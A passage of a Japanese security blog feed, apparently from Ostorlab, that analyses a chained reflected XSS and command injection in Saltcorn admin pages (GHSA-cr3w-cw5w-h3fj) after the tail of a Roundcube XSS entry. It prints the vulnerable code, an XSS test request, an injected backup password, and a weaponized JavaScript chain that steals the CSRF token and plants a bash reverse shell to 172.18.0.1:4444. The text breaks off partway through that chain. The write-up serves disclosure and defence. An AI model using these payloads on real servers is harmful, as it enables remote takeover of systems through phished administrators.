&lt;td style="text-align: left;"&gt;&lt;a href="https://roundcube.net/news/2025/12/13/security-updates-1.6.12-and-1.5.12"&gt;https://roundcube.net/news/2025/12/13/security-updates-1.6.12-and-1.5.12&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;修正コミット bfa032631c&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://github.com/roundcube/roundcubemail/commit/bfa032631c36b900e7444dfa278340b33cbf7cdb"&gt;https://github.com/roundcube/roundcubemail/commit/bfa032631c36b900e7444dfa278340b33cbf7cdb&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;NVD CVE-2025-68461&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2025-68461"&gt;https://nvd.nist.gov/vuln/detail/CVE-2025-68461&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;CWE-79: Webページ生成時における入力の不適切な無害化&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://cwe.mitre.org/data/definitions/79.html"&gt;https://cwe.mitre.org/data/definitions/79.html&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Nucleiテンプレート&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://github.com/Ostorlab/KEV/blob/main/nuclei/CVE-2025-68461.yaml"&gt;https://github.com/Ostorlab/KEV/blob/main/nuclei/CVE-2025-68461.yaml&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</content><category term="Security"/><category term="Security"/><category term="CVE"/><category term="XSS"/><category term="Roundcube"/><category term="vulnerability"/><category term="cve-news"/></entry><entry><title>GHSA-cr3w-cw5w-h3fj：Saltcornにおける1クリックRCE</title><link href="https://blog.ostorlab.co/ja/ghsa-cr3w-cw5w-h3fj-1click-rce-saltcorn.html" rel="alternate"/><published>2026-03-11T13:00:00+01:00</published><updated>2026-03-11T13:00:00+01:00</updated><author><name>Mohammed Lachhab</name></author><id>tag:blog.ostorlab.co,2026-03-11:/ja/ghsa-cr3w-cw5w-h3fj-1click-rce-saltcorn.html</id><summary type="html">&lt;p&gt;GHSA-cr3w-cw5w-h3fj（Saltcorn ≤ 1.5.0-beta.19に存在するCVSS 9.7のクリティカルなXSSからRCEへの脆弱性）の分析。ルートパラメーターの反射型XSSとバックアップ生成時のコマンドインジェクションという連鎖した2つの不備により、管理者へのフィッシングを介したリモートコード実行が可能になります。&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;GHSA-cr3w-cw5w-h3fj&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Saltcornにおける1クリックRCE
2026年2月24日 &amp;middot; CVSS 9.7 クリティカル &amp;middot; Saltcorn &amp;le; 1.5.0-beta.19&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;CVE&lt;/th&gt;
&lt;th style="text-align: left;"&gt;CVSS&lt;/th&gt;
&lt;th style="text-align: left;"&gt;影響を受けるバージョン&lt;/th&gt;
&lt;th style="text-align: left;"&gt;修正済みバージョン&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;未割り当て&lt;/td&gt;
&lt;td style="text-align: left;"&gt;9.7 クリティカル&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&amp;ge; 1.1.1, &amp;lt; 1.5.0-beta.19&lt;/td&gt;
&lt;td style="text-align: left;"&gt;1.5.0-beta.19+&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="1. 技術概要:saltcornにおけるxssからrceへのエクスプロイトチェーン"&gt;1. &lt;strong&gt;技術概要：SaltcornにおけるXSSからRCEへのエクスプロイトチェーン&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Saltcornは、ページ／コード編集、バックアップ、システム管理のための管理UIを備えた、オープンソースかつデータベースファーストのWebアプリビルダーです。&lt;/p&gt;
&lt;p&gt;GHSA-cr3w-cw5w-h3fjがクリティカルであるのは、単一のバグによるものではなく、2つの脆弱性を連鎖させる点にあります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;パラメーターのレンダリングにおける反射型XSS&lt;/li&gt;
&lt;li&gt;バックアップコマンド構築におけるコマンドインジェクション&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;個々の不備もそれぞれセキュリティリスクを生みます。両者が組み合わさると、管理者が巧妙に細工されたリンクを開いた際に、攻撃者がオペレーティングシステムのコマンドを実行できるようになります。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="2. ルートパラメーターにおける反射型xss"&gt;2. &lt;strong&gt;ルートパラメーターにおける反射型XSS&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;1.5.0-beta.19までの脆弱なバージョンでは、ルートパラメーター &lt;strong&gt;name&lt;/strong&gt; がHTMLエスケープされないまま、sub2_pageおよびpage_titleとして&lt;code&gt;send_admin_page()&lt;/code&gt;へ直接流れ込みます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;脆弱なコードパターン：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nx"&gt;router&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="s2"&gt;"/edit-codepage/:name"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;isAdmin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;error_catcher&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// raw user input, no sanitization&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;send_admin_page&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;page_title&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sb"&gt;`%s code page`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// unescaped&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;sub2_page&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sb"&gt;`%s code page`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// unescaped &amp;rarr; breadcrumb&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;send_admin_page()&lt;/code&gt;は&lt;code&gt;packages/server/markup/admin.js&lt;/code&gt;内の&lt;code&gt;send_settings_page()&lt;/code&gt;を呼び出し、これが&lt;code&gt;sub2_page&lt;/code&gt;を最後のパンくずノードのテキストとしてそのまま配置します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// packages/server/markup/admin.js (commit 020893c)&lt;/span&gt;
&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sendWrap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;title&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;above&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"breadcrumbs"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;crumbs&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Settings"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nx"&gt;href&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/settings"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;active_sub&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nx"&gt;href&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"..."&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;...(&lt;/span&gt;&lt;span class="nx"&gt;sub2_page&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sub2_page&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// &amp;larr; name value inserted here, no escaping&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[])&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;res.sendWrap()&lt;/code&gt;はsub2_pageを\&amp;lt;a&amp;gt;タグ内の生のHTMLとしてレンダリングします。name内のあらゆるHTMLがブラウザー上で実行されます。&lt;/p&gt;
&lt;p&gt;nameはサニタイズされないままレンダリングされるUIテキストへ流れ込むため、攻撃者が制御する値が実行可能なHTML／JavaScriptになります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;悪意あるリクエストの例：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;GET&lt;/span&gt; &lt;span class="nn"&gt;/admin/edit-codepage/%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E&lt;/span&gt; &lt;span class="kr"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;target&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="XSSペイロードの実演" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_02_26_1-Click_RCE_in_Saltcorn/xss-demo.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;脆弱なバージョンでのレンダリング出力：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;... &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;img&lt;/span&gt; &lt;span class="na"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;x&lt;/span&gt; &lt;span class="na"&gt;onerror&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;alert(document.domain)&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; code page &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; ...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="3. バックアップパスワード処理におけるコマンドインジェクション"&gt;3. &lt;strong&gt;バックアップパスワード処理におけるコマンドインジェクション&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;2つ目の脆弱性はバックアップ生成に存在し、文字列補間を用いてシェルコマンドが構築され、その後実行されます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;脆弱なパターン（backup.ts）：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;cmd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sb"&gt;`zip -5 -rq &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;backup_password&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sb"&gt;`-P "&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;backup_password&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;" `&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;"&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;absZipPath&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;" .`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;cwd&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;tmpDir&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;backup_passwordはシェルコマンド文字列へ直接注入されます。悪意ある値は&lt;code&gt;-P "..."&lt;/code&gt;のコンテキストから抜け出し、シェル構文を追加できます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;悪意あるパスワードの例：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="s2"&gt;";&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;id&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;;#&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;結果として実行されるコマンド：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;zip&lt;span class="w"&gt; &lt;/span&gt;-5&lt;span class="w"&gt; &lt;/span&gt;-rq&lt;span class="w"&gt; &lt;/span&gt;-P&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;id&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="c1"&gt;#" "/tmp/backup.zip" .&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;これにより、バックアップが起動された際にサーバーコンテキストで任意のコマンド実行が発生します。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="バックアップ設定のインターフェース" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_02_26_1-Click_RCE_in_Saltcorn/backup-settings.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="4. エンドツーエンドの悪用:xssとコマンドインジェクションの連鎖"&gt;4. &lt;strong&gt;エンドツーエンドの悪用：XSSとコマンドインジェクションの連鎖&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;悪用には2つの要素が必要です。フィッシングページに埋め込まれた武器化ペイロードと、それを認証済みの管理者へ届けるためのソーシャルエンジニアリングです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ステップ1：コマンドインジェクションペイロード&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nx"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/admin/backup'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;html&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;html&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/name="_csrf" value="([^"]+)"/&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/admin/set-backup-prefix'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;method&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'POST'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'Content-Type'&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'application/x-www-form-urlencoded'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'_csrf='&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'&amp;amp;backup_file_prefix=sc-backup-&amp;amp;backup_history=on&amp;amp;backup_password=%22%3B%24%28bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F4444%200%3E%261%20%26%27%29%3B%22'&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}).&lt;/span&gt;&lt;span class="nx"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/admin/backup'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;method&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'POST'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'Content-Type'&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'application/x-www-form-urlencoded'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
